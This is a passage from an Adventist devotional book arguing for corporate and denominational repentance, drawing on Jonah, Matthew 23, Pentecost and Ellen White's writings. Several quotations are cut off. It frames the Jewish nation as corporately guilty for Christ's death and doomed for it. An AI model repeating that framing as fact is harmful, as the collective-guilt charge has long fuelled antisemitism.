voices the echo of His voice.
Why Only a Perfect Person Can Experience a
Perfect Repentance
The more Christlike a person is, the greater are
his temptations, and the greater is his repentance.
Thus Christ is the perfect Example of corporate
repentance. Never before in world history and
never since has a human offered to the Father such
an offering of contrition for human sin. Because of
His perfect innocence and sinlessness, only Christ
could feel perfectly the weight of all human guilt.
Here is a beautiful expression of this truth:
129 (Selected Messages,
Book One, pages 283, 284).
God is happy because He knows that He will
have a people who are "without fault before the
throne of God" (Revelation 14:5). Therefore,
though sinners by nature, they will at last approach
Christ's perfect example of repentance.
At every advance step in Christian experience
our repentance will deepen. It is to those whom the
Lord has forgiven, to those whom He
130
acknowledges as His people, He says, "Then shall
ye remember your own evil ways, and your doings
that were not good, and shall loathe yourselves in
your own sight" Ezekiel 36:31 (Christ's Object
Lessons, pages 160, 161).
Ellen White recognized the far-reaching
implications of such an (MS 92, 1901; Bible Commentary, vol. 7,
page 960).
However faint a reflection, our repentance in
behalf of others must be based on Christ's
"repentance ... in behalf of the human race." It
would be impossible for any of us to feel such
131
concern and sorrow in behalf of others, had He not
felt it first in our behalf.
If "we love because He first loved us," we
repent because He first repented in our "behalf."
He is our Teacher.
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Chapter 8
How Christ Called the Ancient
Jews to National Repentance
Jesus was disappointed with the way the Jews
responded to His call to national repentance. He
says He is also disappointed with the response of
Seventh-day Adventists.
Fresh from His own experience of corporate
repentance and baptism "in behalf of the human
race," Jesus demanded the same from the Jewish
nation: "From that time Jesus began to preach and
to say, Repent, for the kingdom of Heaven is at
hand" (Matthew 4:17). And His disciples also
"went out and preached that people should repent"
(Mark 6:12).
Christ's greatest disappointment was that the
nation did not respond. He upbraided "the cities in
which most of His mighty works had been done,
because they did not repent" (Matthew 11:20). He
133
likened the nation to the unfruitful "fig tree planted
in His vineyard. … For three years I have come
seeking fruit on this fig tree and find none" (see
Luke 13:6-9).
The barren fig tree which Jesus cursed became
a symbol representing not merely the mass of
individual unrepentant Jews, but the corporate
people which as a nation rejected Christ: (Desire of Ages, page 582).
Our Lord had sent out the twelve and afterward
the seventy, proclaiming that the kingdom of God
was at hand, and calling upon men to repent and
believe the gospel. … This was the message borne
to the Jewish nation after the crucifixion of Christ;
but the nation that claimed to be God's peculiar
people rejected the gospel brought to them in the
134
power of the Holy Spirit (Christ's Object Lessons,
page 308; emphasis added).
Note how personal sin had grown to become
national sin. It was accomplished by the nation's
leaders, and it bound the nation to corporate ruin:
When Christ came, presenting to the nation the
claims of God, the priests and elders denied His
right to interpose between them and the people. …
They set themselves to turn the people against Him
(Christ's Object Lessons, pages 304, 305).
How National Ruin Followed National
Impenitence
Only national repentance could have saved the
Jewish nation from the impending ruin that their
national sin invoked upon them:
For the rejection of Christ, with the results that
followed, they were responsible. A nation's sin and
a nation's ruin were due to the religious leaders
(Ibid., page 305, emphasis added).
135
Paul showed that Christ had come to offer
salvation first of all to the nation that looked (Acts of the
Apostles, page 247, emphasis added).
In Jesus' last public discourse He made a final
appeal to these leaders at the Jerusalem
headquarters to repent. Their refusal broke His
heart. With tears in His voice, the Saviour
predicted the impending national ruin: 'All these
things will come upon this generation. O
Jerusalem, Jerusalem . . ." (Matthew 23:13-37).
Christ certainly appealed to individuals to
repent, for He said, "there will be joy in Heaven
over one sinner who repents" (Luke 15:7). But
there is a distinct difference between national
136
epentance and individual repentance. He also
appealed to "this . . . evil generation," that is, the
nation. "The men of Nineveh will rise up in the
judgment with this generation, and condemn it, for
they repented at the preaching of Jonah" (Luke
11:32). The fate of a nation, not merely that of
individuals, hung in the balance.
Like a lone flash of lightning on a dark night,
this reference to Nineveh illustrates Jesus' idea.
National repentance is so rare that few believe it
can ever take place. He used Nineveh's history as
an example to prove that what He called for was
indeed possible. If a heathen nation can repent, He
said in effect, surely the nation that claims to be
God's chosen people can do the same!
As Jonah became a sign unto).
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The "How" of Heathen Nineveh's Repentance
If one picture is worth a thousand words,
Nineveh's repentance vividly illustrates a national
response to the call of God. A nation repented, not
simply a scattered group of individuals. We find it
easier to believe a "great fish" swallowed Jonah
alive than to accept that a government and a nation
can repent at the preaching of God's Word. "The
people of Nineveh believed God, proclaimed a fast,
and put on sackcloth, from the greatest to the least
of them" (Jonah 3:5). There is no reason to doubt
this sacred history.
This repentance began with "the greatest," and
extended downward from the usual order in history
to "the least of them." "Word came to the king of
Nineveh; and he arose from his throne and laid
aside his robe, covered himself with sackcloth and
sat in ashes. And he caused it to be proclaimed and
published throughout Nineveh by the decree of the
king and his nobles" (Jonah 3:6,7).
It is true that this call to repent did not originate
138
at the royal palace. But note that the government of
Nineveh wholeheartedly supported it. The "city"
repented from top to bottom. Fantastic! The
repentance was both nationally "proclaimed and
published," and individually received. The divine
warning had proclaimed a national overthrow of
Nineveh; the leadership led the people to repent—a
national repentance.
Jesus' point was this: if this happened once in
history, why couldn't it happen with the Jews also?
The Jews could have achieved national repentance
easily and practically. (And why can't it happen
with us?) The high priest, Caiaphas, could have led
out as well as did the king of Nineveh. Caiaphas
needed only to accept the principle of the cross as
Jesus taught it.
How Caiaphas Could Have Led Israel to
Repentance
Let's give Caiaphas the generous benefit of a
doubt. At first he could have been sincerely
uncertain how to relate to Jesus in the early days of
139
His ministry. But by the time of Jesus' trial he
could have taken a firm stand for right. He needed
only to make a simple speech such as this to the
Sanhedrin: "For a time I didn't understand the work
of Jesus. You brethren have shared my
misunderstanding. Something has happened among
us that has been beyond us. But I have studied the
Scriptures lately. I have seen that beneath His
lowly outward guise, Jesus of Nazareth is indeed
the true Messiah. He fulfills the prophetic details.
And now, brethren, I humbly acknowledge Him as
such, and I forthwith step down from my high
position and shall be the first to install Him as
Israel's true High Priest."
A gasp of surprise would have rippled through
the Sanhedrin chambers if Caiaphas had said these
words. Today he would be honored all over the
world as the noblest leader of God's people in all
history. He could have done what Moses would
have loved to do. (In fact, Moses refused Pharaoh's
throne!) The Jews, many of them, would doubtless
have followed Caiaphas' lead. We have already
seen how the religious leaders fastened national
140
guilt upon the people. It follows that the same
leaders could as easily have led them into national
repentance. Christ could have died in some other
way than murder by His own people, and
Jerusalem could today be the "joy of the whole
earth" rather than its sorest plague spot.
If the remnant church ultimately chooses to
follow ancient Israel in impenitence, Christ will
suffer at her hands the most appalling humiliation
He has ever endured. He will be crucified afresh,
wounded anew "in the house of [His] friends"
(Zechariah 13:6). Humanity's final indignity would
be heaped upon His sacrifice.
But God's Word must proclaim good news.
Christ did not sacrifice Himself to be defeated. The
antitypical Day of Atonement resolves all doubt. In
the light of the cross we see the assurance that the
church will at last overcome this tragic ancient
pattern of unbelief. The church is His prized
possession, "which He has purchased with his own
blood" (Acts 20:28). In the end His people will not
deprive Him of His reward.
141
For once in history, history will not repeat
itself. His church will fully vindicate Christ. He
will see that the infinite price He paid for their
redemption was worthwhile. An infinite sacrifice
will fully redeem and heal an infinite measure of
human sin.
Though He was "a greater" than Jonah and "a
greater than Solomon," Christ did not appear in the
glorious garb and pomp of Solomon. Nor did He
"cause His voice to be heard in the street" as did
Jonah (compare Matthew 12:42; Isaiah 42:2). Yet
the Jewish leaders had evidence enough of His
authority. The quality of His solemn call to
repentance convinced them of what their pride
refused to confess. No other "sign" would be given
that "evil and adulterous generation." Once she
refused to acknowledge Heaven's last call to
repentance, nothing could stay Israel's frightful
doom.
And the sure evidence of the Holy Spirit's work
today resides in the True Witness' solemn call to us
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to repent.
The Ingathering of Repentant Jews
There remains a luminous hope for ancient
Israel's literal descendants in our day:
Hardening in part has happened to Israel until
the fulness of the Gentiles has come in. And so all
Israel will be saved. … For the gifts and the calling
of God are irrevocable. … Through the mercy
shown you they also may obtain mercy (Romans
11:25-31).
Note that the fulfillment of the prophecy hinges
on a repentant Christian church. In the days before
us we shall see some surprising developments
among repentant Jews:
When this gospel shall be presented in its
fulness to the Jews, many will accept Christ as the
Messiah. … In the closing proclamation of the
gospel, when special work is to be done for classes
of people hitherto neglected, God expects His
143
messengers to take particular interest in the Jewish
people whom they find in all parts of the earth. …
This will be to many of the Jews as the dawn of a
new creation, the resurrection of the soul. … They
will recognize Christ as the Saviour of the world.
Many will by faith receive Christ as their
Redeemer. … The God of Israel will bring this to
pass in our day. His arm is not shortened that it
cannot save. As His servants labor in faith for those
who have long been neglected and despised, His
salvation will be revealed (Acts of the Apostles,
pages 380, 381).
How can we call the Jews to such repentance,
unless we experience it ourselves? God's great
heart of pity is moved on behalf of these suffering
people, and a great blessing awaits them when we
are prepared to be the agents to bring it:
Notwithstanding the awful doom pronounced
upon the Jews as a nation at the time of their
rejection of Jesus of Nazareth, there have lived
from age to age many noble, God-fearing Jewish
men and women who have suffered in silence. God
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has comforted their hearts in affliction and has
beheld with pity their terrible situation. He has
heard the agonizing prayers of those who have
sought Him with all the heart for a right
understanding of His word (Ibid., pages 379, 380).
One's heart beats a little faster to read those
words, so pregnant with hope and wonder. What
joy it will be to witness the fulfillment of our
beloved Paul's bright visions of future restoration
of the true Israel! Millions of Christians look to
literal Israel in Palestine as the fulfillment.
However, the servant of the Lord, in harmony with
Paul's concept of justification by faith, foresaw the
genuine fulfillment to be the repentance of many
individual Jews who will learn from the remnant
church the principle of corporate guilt and
repentance.
Could it happen in our time?
Yes, if we really want it. The Jews will be our
pupils, to learn from us what they didn't learn two
thousand years ago—how to repent.
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Chapter 9
How the Ancient Jewish
Nation Sealed Their Doom
The A-to-Z story of their rebellion is
frightening. Scripture warns us that we stand
poised on the brink of a similar disaster.
Could Jesus accuse people of a crime when
they were innocent? If someone accused me for
example of starting World War I, I would respond
that this was unreasonable. I wasn't even born
when it started! Yet Jesus accused the Jewish
leaders of His day of guilt for a crime committed
before any of them were born. His charge against
them sounds unreasonable.
The story is in Matthew 23. Jesus has just
upbraided the scribes and Pharisees with a series of
"woes" accompanied by vivid flashes of irony and
indignation. He concludes by springing on them
this charge of murdering a certain Zechariah: "That
146
on you may come all the righteous blood shed on
the earth, from the blood of righteous Abel to the
blood of Zechariah, son of Barachiah, whom you
murdered between the temple and the altar" (verse
35).
For years I thought this Zechariah was a victim
whom Christ's hearers had personally murdered in
the temple during their lifetime, not more than 30
or 40 years previous.
Human Guilt from A to Z
I was shocked to discover that this man was
murdered some 800 years earlier. (2 Chronicles
24:20, 21 records the story). Why did Jesus charge
this crime on the Jews of His day?
He was not unfair. When we see the principle
of corporate guilt, the picture becomes clear. In
rejecting Him, the Jewish leaders acted out all
human guilt from A to Z (Abel to Zechariah), even
though they may not yet have personally
committed a single act of murder. They were one
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in spirit with their fathers who had actually shed
the blood of the innocent Zechariah in the temple.
In other words, they would do it again, and they
did do it—to Jesus.
By refusing the call to repentance which the
Baptist and Jesus proclaimed, they agreed to
assume the guilt of all murders of innocent victims
ever since the days of Abel. One who could not err
fastened the entire load on them.
Suppose the Jewish leaders had repented? If so,
they would have repented of "the blood of all the
prophets, which was shed from the foundation of
the world" (Luke 11:50). And thus they would not
have gone on to crucify Christ.
To understand Jesus' thinking, we need to
review the Hebrew idea of corporate personality.
The church is the "Isaac" of faith, Abraham's true
descendant, "one body" with him and with all true
believers of all ages. To Jewish and Gentile
believers alike, Paul says Abraham is "our father"
(Romans 4:1-13). Even to the Gentile believers he
148
says, "Our fathers were . . . baptized into Moses."
"We [are] all baptized into one body—whether
Jews or Greeks" (1 Corinthians 10:1, 2; 12:13). We
"all" means past generations and the present
generation.
Thus Christ's body comprises all who have ever
believed in Him from Adam down to the last
remnant who welcome Him at His return. All are
one individual in the pattern of Paul's thinking.
Even a child can see this principle. Although it is
his hand that steals from the cookie jar, when
mother learns what happened, it's his bottom that
gets spanked. To the child this is perfectly fair.
The Old Testament Makes It Clear
Hosea depicts Israel's many generations as one
individual progressing through youth to adulthood.
He personifies Israel as a girl betrothed to the Lord.
Israel "shall sing … as in the days of her youth, as
in the day when she came up from the land of
Egypt" (Hosea 11:1; 2:15).
149
Ezekiel defines Jerusalem's history as the
biography of one individual:
Thus says the Lord God to Jerusalem: "Your
birth and your nativity are from the land of Canaan;
your father was an Amorite, and your mother a
Hittite. … When I passed by you again and looked
upon you, indeed your time was the time of love.
… You were exceedingly beautiful, and succeeded
to royalty" (Ezekiel 16:3-13).
Generations of Israelites came and went, but
her corporate personal identity remained. The
nation carried the guilt of "youth" into adulthood,
as an adult remains guilty of a wrong committed
when he was a youth—even though physiologists
say that time has replaced every physical cell in his
body. One's moral personal identity remains
regardless of the molecular composition of the
body.
Moses taught this same principle. He addressed
his generation as the "you" who should witness the
captivity to Babylon nearly a thousand years later
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(see Leviticus 26:3-40). He also called on
succeeding generations to recognize their corporate
guilt with "their fathers": If they shall confess their
iniquity and the iniquity of their fathers, which they
trespassed against me, and that they also have
walked contrary to me; and that I also have walked
contrary to them, and have brought them into the
land of their enemies; if then their uncircumcised
hearts be humbled, and they then accept the
punishment of their iniquity. …I will for their
sakes remember the covenant of their ancestors,
whom I brought forth out of the land of Egypt
(Leviticus 26:40-45).
Succeeding generations sometimes recognized
this principle. King Josiah confessed that "great is
the wrath of the Lord that is aroused against us,
because our fathers have not obeyed the words of
this book, to do according to all that is written
concerning us" (2 Kings 22:13). He said nothing
about the guilt of his contemporaries, so clearly did
he see his own generation's as the guilt of previous
generations.
151
Ezra lumps together the guilt of his generation
with that of their fathers: "Since the days of our
fathers to this day we have been very guilty, and
for our iniquities we, our kings, and our priests,
have been delivered into the hand of the kings of
the lands" (Ezra 9:7). "Our kings" were those of
previous generations, for there was no living king
in Ezra's day.*
The David-Christ relationship is striking.
David's Psalms express so perfectly what Christ
later experienced that the Saviour used David's
words to express the feelings of His own broken
heart: "My God, My God, why have You forsaken
Me?" (Psalm 22:1; Matthew 27:46). Christ is the
Word "made flesh." Nowhere does the perfect
corporate identity of a "member" with the "Head"
appear more clearly than in this David-Christ
relationship. Christ knows Himself to be the "son
of David." He has feasted on David's words and
lived David's experiences. The perfect picture He
sees of Himself in the Old Testament in the
experience and words of the prophets, He lives out
in His own flesh through faith.
152
This idea of identity reaches a zenith in the
Song of Solomon, the love story of the ages. Christ
loves a "woman," even His church. Israel, the
foolish "child" called out of Egypt, the fickle girl in
her youthful "time of love," the faithless woman in
the kingdom days, "grieved and forsaken" in the
Captivity, at last becomes the chastened and
mature bride of Christ. At last, through corporate
repentance she is prepared to become a mate to
Him.
Would You Have Done Better?
Let us picture ourselves in the crowd that
gathered before Pilate that fateful
153 has
already joined the mockery and abuse of Jesus.
Would you (or I) have the nerve to face them alone
and rebuke them for what they do?
Realizing how easily a defense of Jesus might
put you on the cross too, would you (or I) dare to
speak out? Surely the answer is obvious. We dare
not say that the church as a world body cannot
know this repentance, lest when we survey the
wondrous cross on which the Prince of glory died,
we pour contempt on His loving sacrifice by
implying that it was in vain.
Pentecost: Israel's History Not Totally in Vain
Jesus' appeal to the Jews failed to move them.
Yet a glorious demonstration of corporate
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epentance occurred at Pentecost. His calls at last
bore fruit.
The three thousand converted that day probably
did not all personally shout "Crucify Him!" at
Christ's trial, or personally mock Him as He hung
on the cross. Yet they recognized that they shared
the guilt of those who did.
But the Jewish leaders stubbornly refused to do
so: "Did we not strictly command you not to teach
in this name? . . . You . . . intend to bring this
Man's blood on us!" (Acts 5:28). In no way would
they accept corporate guilt! (We Seventh-day
Adventists have also denied ours, for decades.)
Thus the Jews denied their only hope of salvation.
Pentecost has inspired God's people for nearly
2000 years. What made those grand results
possible? The people believed the portrayal of their
corporate guilt and frankly confessed their part in
the greatest sin of all ages, which their leaders had
refused to repent of. Pentecost was an example of
laity rising above the spiritual standards of their
155
leaders. The final outpouring of the Holy Spirit in
the latter rain will be an extension of the Pentecost
experience.
A leadership reaction against Pentecost
occurred a few months later. The Sanhedrin
refused to accept Stephen's portrayal of corporate
guilt through their national history: ). They "stopped their ears, and ran at him with
one accord; and they cast him out of the city and
stoned him" (verses 57, 58).
Do we see the pattern in this? It began with
Cain. Generation after generation refused to see
their corporate guilt. Finally, impenitent Israel
demonstrated to the world for all time to come the
tragic end that follows national impenitence. "All
these things happened unto them as examples, and
they were written for our admonition, on whom the
156
ends of the ages have come" (1 Corinthians 10:11).
But in that tragic hour when Israel sealed her
doom by murdering Stephen, a truth began to work
itself out in one honest human heart. It would lead
at last to correction of the sin of Israel. The
"witnesses laid down their clothes at the feet of a
young man named Saul." This young man's
disturbed conscience thought through the great idea
of a worldwide "body of Christ" that would
eventually exhibit in full and final display the
blessings of repentance which the Jews refused.
157
Chapter 10
The Urgency of Christ's Call to
Repent
After watching nearly 150 years of His patient
waiting, we may be tempted to think that Christ is a
divine Wimp. But He is not playing games with us.
He means business.
The denomination known as Seventh-day
Adventists is recognized in the writings of Ellen
White as the prophetic "remnant" church. Further,
since our beginnings our pioneers have believed it
to be the fulfillment of the Revelation prophecy. If
this is true, we have an authentic denominational
identity. If it is not true, we have no true reason to
exist:
In a special sense Seventh-day Adventists have
been set in the world as watchmen and light
bearers. To them has been entrusted the last
warning for a perishing world. . . . They have been
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given a work of the most solemn import—the
proclamation of the first, second, and third angels'
messages.
The most solemn truths ever entrusted to
mortals have been given to us to proclaim to the
world. The proclamation of these truths is to be our
work. The world is to be warned and God's people
are to be true to the trust committed to them
(Testimonies, vol. 9, page 19. See Testimonies,
vol. 1, pages 186, 187; Selected Messages, Book
One, pages 91-93; Bible Commentary, vol. 7,
pages 959, 960, 961.).
Doubters on many sides are now seriously
challenging our prophetic destiny, contending that
the organized church has failed so badly that it has
ceased to be the true prophetic remnant church.
The source of this sepa-rationist mentality is a
famine for the Good News truths of the 1888
message. The 1888 Good News ideas are like
essential vitamins to a human body; their absence
invites disease.
159
There has been a failure to comprehend the
grand dimensions of God's grace, one dimension of
which is the 1888 idea of justification by faith. It
has not only been misunderstood, but denied. A
legalistic vacuum has been created, into which rush
a multitude of confusing and discouraging heresies.
Through many decades of suppressing the "most
precious message" we have developed a rigid,
often harsh and uncharitable spirit of egocentric
concern. The supreme concern is our own security,
the salvation of our own little souls. Such religious
fear brings out the worst in human nature. A better
motivation is concern for Christ Himself. The
presence in the church of "angry saints" must be a
keen embarrassment to Him. While righteous
indignation is valid, rude and ugly anger is out of
place in the remnant church. The lack of Christian
charity and common courtesy in some of the shrill
voices in the church is phenomenal. It's a mistake
to assume that Elijah was not a decent, Christian
gentleman. Rebukes are never sanctified unless
there are tears in the voice and in the pen. For
decades "we" have systematically deprived our
people of the much more abounding grace of that
160
heartwarming 1888 message. The old adage says,
it's hungry animals that fight.
The Secret Source of Separationist Poison
It's serious not to understand the true nature of
agape. Critics who have given up hope cannot see
how God's love could possibly be loyal to a faulty,
erring church. They assume that divine love is like
human love—conditioned by the value or goodness
of its object and dependent on it. (We fall in love
with someone beautiful. We cannot comprehend
falling in love with someone ugly.) So they look at
the enfeebled and defective condition of the church
and wonder how God's love for it can be
permanent. "The church has failed," they say,
"therefore, God's patient love must cease."
Divine love (agape) being free and
independent, it creates goodness and value in its
object. It is this creative quality which guarantees
the success of the message to the angel of the
church of the Laodiceans.
161
Off-shoot enthusiasts see such continued
patient love as evidence that makes Christ to be a
heavenly Wimp. They misconstrue agape, thinking
it is too soft, not realizing that it is also hard as
steel. They do not understand its power, how it is a
love that is sovereign and independent, thus free to
love the unlovely. It will transform a lukewarm
church into a repentant one. It can succeed at last in
converting honest souls in both liberal and archconservative
camps, and bring disparate brethren
into heart unity.
A separationist mind-set does not see that the
honor and vindication of Christ Himself are
intimately involved in the repentance of the
denominated church. They see the sins of the
church as unforgivable or at least irreversible, and
therefore they do not believe that denominational
repentance is possible. Leadership on the other
hand often exacerbate the problem, maintaining
that "all is well" and denominational repentance is
unnecessary. Some sincere people who are ignorant
of the message of Christ's righteousness are moved
by what valid criticism is patently implicit in harsh
162
messages of supposed "straight testimony," and
they separate from the fellowship of the organized
church.
This is unwise; it is unnecessary, and it is
wrong. Christ never calls us to leave the church;
He calls us to repent within the church, and to
"sigh and cry" positively and effectively instead of
negatively. An inspired voice emphatically assures
us of ultimate denominational repentance. This is
implicit in statements like these:;
Selected Messages, Book Two, page 397).
Trust to God's guardianship. His church is to be
taught. Enfeebled and defective though it is, it is
the object of His supreme regard (Letter 279, 1904;
Ibid., page 396).
163
While there have been fierce contentions in the
effort to maintain our distinctive character, yet we
have as Bible Christians ever been on gaining
ground (Letter 170, 1907; pages 396, 397).
The evidence we have had for the past fifty
years [now 140] of the presence of the Spirit of
God with us as a people, will stand the test of those
who are now arraying themselves on the side of the
enemy and bracing themselves against the message
of God (Letter 356, 1907; page 397).
The church may appear as about to fall, but it
does not fall. It remains, while the sinners in Zion
will be sifted out —the chaff separated from the
precious wheat. This is a terrible ordeal, but
nevertheless it must take place (Ibid., page 380).
I am encouraged and blessed as I realize that
the God of Israel is still guiding His people, and
that He will continue to be with them, even to the
end. I am instructed to say to our ministering
brethren, Let the messages that come from your
164
lips be charged with the power of the Spirit of God.
… It is fully time that we gave to the world a
demonstration of the power of God in our own
lives and in our ministry (Ibid., pages 406, 407).
Christ's message to Laodicea, in fact His very
character of agape, is on trial before the heavenly
universe. Will it be effective? Or will century after
century go by with it never accomplishing the great
work it calls for?
Certain Truths Stand Out
It is clear that the Lord's greatest concern is for
the human leadership of His church. "God's
ministers are symbolized by the seven stars. …
Christ's ministers are the spiritual guardians of the
people entrusted to their care" (Gospel Workers,
pages 13, 14). "'These things, says He who holds
the seven stars in His right hand.' These words are
spoken to the teachers in the church—those
entrusted by God with weighty responsibilities"
(Acts of the Apostles, page 586). They are "those
whom God has appointed to bear the
165
esponsibilities of leadership" in the church, "those
in the offices that God has appointed for the
leadership of His people" (Ibid., page 164). If they
refuse Christ's special call to repent, church
organization must eventually disintegrate. But
leadership can respond to Christ's call, and
Revelation indicates that before the end they will.
Christ respects church organization. He intends
that the "angel of the church" shall repent first, and
then minister the experience to the worldwide
church. When the leadership of the church "in a
great measure" rejected the 1888 message
(Selected Messages, Book One, pages 234, 235),
He did not disregard them; He permitted their
unbelief to arrest the finishing of His work for at
least a century. Indeed, one might assume that if
this unbelief persists for century after century, the
Lord will indeed be a Wimp and be powerless in
that He permits an unrepentant "angel of the
church" to continue to frustrate His purpose. The
idea is that if we will not keep step with the Lord,
He will forever be frustrated and be forced to keep
step with us.
166
However, we have an encouraging promise to
lay hold of. The time will come when the Lord will
override impenitent leadership. In 1885, three years
before "the beginning" of the 1888 loud-cry
message, Ellen White wrote to the president of the
General Conference, a man who later chose to
reject that "most precious message" when it came:
167
(Letter, October 1, 1885 to G. I. Butler;
Testimonies to Ministers, page 300; emphasis
supplied).
No one knows precisely how the Lord will take
"the reins in His own hands." Although His love is
infinite, His patience is not. His love for a lost
world will prove greater than His patient
indulgence of continued Seventh-day Adventist
lukewarmness. Christ died for the world. There
will come a time when He can no longer tolerate
persistent, willful impenitence. He is quite capable
of a righteous indignation. When the time comes
for it to blaze forth, "Who is able to stand?"
When Christ's appeal for repentance is
appreciated by "the angel of the church," contrition
and reconciliation with Him will be communicated
to the worldwide body far more quickly than we
168
think possible. Hearts will be humbled, and at last a
people will be prepared for proclaiming the loudcry
message to the world for whom Christ died.
There is no reason why this vast task cannot be
accomplished within our lifetime.
Will Christ Reject Laodicea?
"The Father judges no one, but has committed
all judgment to the Son" (John 5:22). In turn,
Christ says of the one who will not believe in Him,
"I do not judge him" (John 12:47). The only people
therefore whom He will "judge" will be those
whom He vindicates. The name "Laodicea"
actually means "vindicating the people," God's
people.
The message recognizes the church as Christ's
one object of supreme regard. His final appeal
implies that He has hope of success, that He fully
expects His church to respond, else He would not
waste His divine effort. His call expresses
confidence in agape as a constraining power.
169
Further, the time lapse of over a century
indicates how His patience and long-suffering
demonstrate a purpose to succeed. He could not
bestow such care upon an object which He intends
ultimately to abandon. Thus the message to
Laodicea is full of hope. The word "Laodicea" is
not a synonym for failure. What's wrong with
Laodicea is not her name but her lukewarmness,
her blindness, her wretchedness, not her identity as
the last of the seven churches.
True, some individuals will never repent. Of
them we read:, page 408).
For some, perhaps for many, this personal
rejection may have already taken place in our time.
Leaders who have rejected Christ's appeal may
continue to hold high office and deliver milque-
170
toast messages:
The glory of the Lord had departed from Israel;
although many still continued the forms of religion,
His power and presence were lacking. … Peace
and safety is the cry from men who will never
again lift up their voice like a trumpet to show
God's people their transgressions, and the house of
Jacob their sins. These dumb dogs, that would not
bark, are the ones who feel the vengeance of an
offended God (Testimonies, vol. 5, pages 210, 211;
1882).. … Those
who have proved themselves unfaithful will not
then be entrusted with the flock (Testimonies, vol.
5, page 80).
There is alarming evidence that in one sense
171
the Lord did later "spew out" those who initially
rejected the beginning of the loud-cry message in
the 1888 era:
If such men as Elder Smith, Elder Van Horn,
and Elder Butler shall stand aloof, not blending
with the elements God sees essential to carry
forward the work in these perilous times, they will
be left behind. … These brethren … will meet with
eternal loss; for though they should repent and be
saved at last, they can never regain that which they
have lost through their wrong course of action
(Letter, January 9, 1893; 1888 Materials, page
1128).
The conference at Minneapolis was the golden
opportunity for all present to humble the heart
before God and to welcome Jesus as the great
Instructor, but the stand taken by some at that
meeting proved their ruin. They have never seen
clearly since, and they never will, for they
persistently cherish the spirit that prevailed there, a
wicked, criticizing, denunciatory spirit (Ibid., pages
1125, 1126).
172
Please note: in these solemn statements, Ellen
White does not say that these dear brethren will be
lost at last. She says they would never recover the
message or the experience which they rejected.
History demonstrates that this is true. Even
though the leading brethren whom she names did
eventually confess their error, they never recovered
the message itself and they never knew the joy of
proclaiming it. Their books, sermons, and articles
reside in the archives for inspection—the essential
elements that made the 1888 message the
"beginning" of the loud cry are absent therein. In
By Faith Alone, Norval E. Pease recognizes that
when the nineteenth century became the twentieth,
none of those who initially rejected the message
were proclaiming it (see page 164).
In this sense, these brethren met with "eternal
loss." In that special sense that Ellen White
described in the Testimonies, vol. 6, page 408
statement, they were "spewed" out of the mouth of
the Lord as leaders in the church, even though they
173
continued to occupy high offices until their deaths.
What a lesson for us! Christ's call to "the angel
of the church" is not to be taken lightly. He is not
playing games or trifling with us. He means
business. What a pity for one to go on arrogantly as
a leader, a pastor, a church officer, an elder, when
Christ has nothing to do with him! But Christ's
words do not predict a complete corporate failure
of Laodicea.
The Last Great Controversy
Between Christ and Satan
Offshoots have occasionally arisen on the
assumption that Christ has already rejected the
entire leadership of His church. These grow out of
a misunderstanding of His call to repent. It is
assumed that (a) the call to repent is for individual
repentance; (b) it has been understood; and (c) it
has been rejected. On the other hand, Scripture
indicates that (a) the call is to corporate and
denominational repentance; (b) history
demonstrates that it has not been fully understood,
174
and (c) it has, therefore, not been rejected, at least
not finally and intelligently.
If it should eventually be true that Christ's call
is rejected by His body, then the church would
indeed be doomed. But that great "if" is not true. It
would require the failure of the Laodicean message
and the final defeat of the Lord Jesus as faithful
Divine Lover.
Everyone who is willing to concede such a
defeat for Christ stands on the side of the enemy,
for Satan is determined that such a defeat must take
place. Even the nagging doubt that expresses the
"if" is born of a sinful unbelief which is disloyal to
Christ.
Satan constantly assailed the Son of God with
barbed "ifs." "If He be the King of Israel," "if God
will have Him," were torture to His soul. We are on
Satan's side in the great final struggle if we talk
about "if the Bride does not repent and does not
make herself ready," or "if the church does not
respond." That doubt of Christ's complete
175
vindication paralyzes one's devotion like nerve gas
paralyzes a person's will. No one can work
whole-heartedly for denominational repentance if
he or she harbors a secret doubt that it is possible
or that it is necessary. This doubt underlies much
of our present confusion, inertia, and disunity. But
it is treason to Christ, as surely as were Judas'
betrayal and Peter's denial of Him.
The medicine must fit the disease. Christ's
intent is that repentance be ministered throughout
the church at large.
It is true that we may individually battle for
personal victory over evil temper, perverted
appetite, love of amusement, pride of dress,
sensuality, or a thousand other failings. But the
point of the Lord's appeal in Revelation 3 is that as
a church and, more particularly as church
leadership, we are guilty of denominational sin.
This is specifically (a) denominational pride ("You
say, I am rich and I have been enriched"); (b)
denominational self-satisfaction ("You say, … I
have need of nothing"); (c) denominational self-
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deception ("You … do not know that you are
wretched"); and (d) denominational assumptions of
success which are not divinely validated ("You are
miserable, poor, blind, and naked").
The remedies proposed are specific: "gold
refined in the fire," "white garments," and "eye
salve." Upon the minds of church leadership there
will be deeply impressed as never before in history
a sense of our true role on the stage of the universe.
"The house of David" will be deeply humbled by a
new view of the crucifixion of Christ and their part
in it, and then there will be "opened" that "fountain
... for sin and for uncleanness" (Zechariah 12:10;
13:1).
We Must and Can Succeed
Where the Jews Failed
With the repentance of Nineveh standing in
sacred history as the model, we see the pattern that
will develop in the church today. "From the
greatest of them to the least of them," the
repentance in the Laodicean message will spread
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from the top to the bottom throughout the
worldwide church. Unless Christ's sacrifice is in
vain, it will eventually come, and both the writer
and the reader of this book can find a way to hasten
that day.
When this is understood and embraced by the
"angel" of the church, the methods of its promotion
will be uniquely effective. The Holy Spirit, not
Madison Avenue promotional techniques, will
have "caused it to be proclaimed and published."
As in Nineveh's day, "the king and his nobles" will
range themselves solidly in support of what Christ
calls for (see Jonah 3:5-9). This principle invests
every individual member with vital importance.
This is because corporate repentance does not
merely "sigh and cry" but works effectively by the
faith of Christ to cooperate with Him in His final
work of atonement. "One who is feeble … in that
day shall be like David, and the house of David
shall be like God, like the Angel of the Lord"
(Zechariah 12:8). The Lord can still use humble
instruments to do a great work. But they must
diligently do their homework, discipline their
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minds, and become informed.
Although in the past the Lord's calls to repent
have usually been refused, we must not expect that
His final call also must fail. The prophetic picture
is clear: something must happen in the end of time
that has never happened before. The long sad
history of millenniums of darkness must be
reversed. This is required by the Bible doctrine of
the cleansing of the heavenly sanctuary. The
remnant church will glorify the Lord and vindicate
Him in a way that has never yet been done. The
key element will be a true and pure message of
righteousness by faith, "the third angel's message in
verity."
Evidence More Important
Than Our Subjective Feelings
Our fallible method of considering the church's
relative goodness or badness is not a valid method
of judgment. Her identity does not depend on our
subjective human judgment of her virtues or her
failings. It depends on the objective criteria of
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Bible prophecy and the creative capacity of agape.
Thus the real test of our faith is centered in
Scripture itself.
The prophecies of Daniel and Revelation
pinpoint the rise of the last-day church
